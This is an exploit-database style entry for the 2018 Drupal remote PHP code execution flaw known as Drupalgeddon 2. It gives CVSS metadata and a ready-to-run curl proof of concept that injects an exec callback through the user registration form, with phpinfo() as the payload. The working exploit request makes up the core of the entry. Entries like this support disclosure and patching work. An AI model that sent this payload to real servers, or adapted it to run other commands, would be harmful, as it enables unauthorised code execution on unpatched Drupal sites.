Drupal 0day Remote PHP Code Execution (curl)

2018.04.13
Credit: i_bo0om
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

PoC: curl -X POST --data \ 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=phpinfo()' \ 'https://localhost/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'

References:

https://twitter.com/i_bo0om
https://research.checkpoint.com/uncovering-drupalgeddon-2/


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